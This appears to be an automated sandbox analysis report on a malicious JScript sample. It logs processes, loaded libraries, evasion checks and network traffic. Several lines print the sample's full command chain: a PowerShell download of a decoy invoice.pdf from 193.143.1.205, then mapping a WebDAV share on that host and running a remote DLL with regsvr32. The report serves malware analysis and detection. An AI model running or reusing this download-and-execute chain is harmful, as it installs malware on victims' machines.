Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4980.js.csv");ITextStream.WriteLine(" entry:7738 f:fzxaopmgj");ITextStream.WriteLine(" exec:2 f:fzxaopmgj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4920			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4827			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5456	Thread sleep count: 4920 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5456	Thread sleep count: 4827 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6356	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6756	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1904	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1318121814.000002029A9DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1318121814.000002029A978000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2541218864.00000249FF858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000F.00000002.2539297057.00000249FE22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

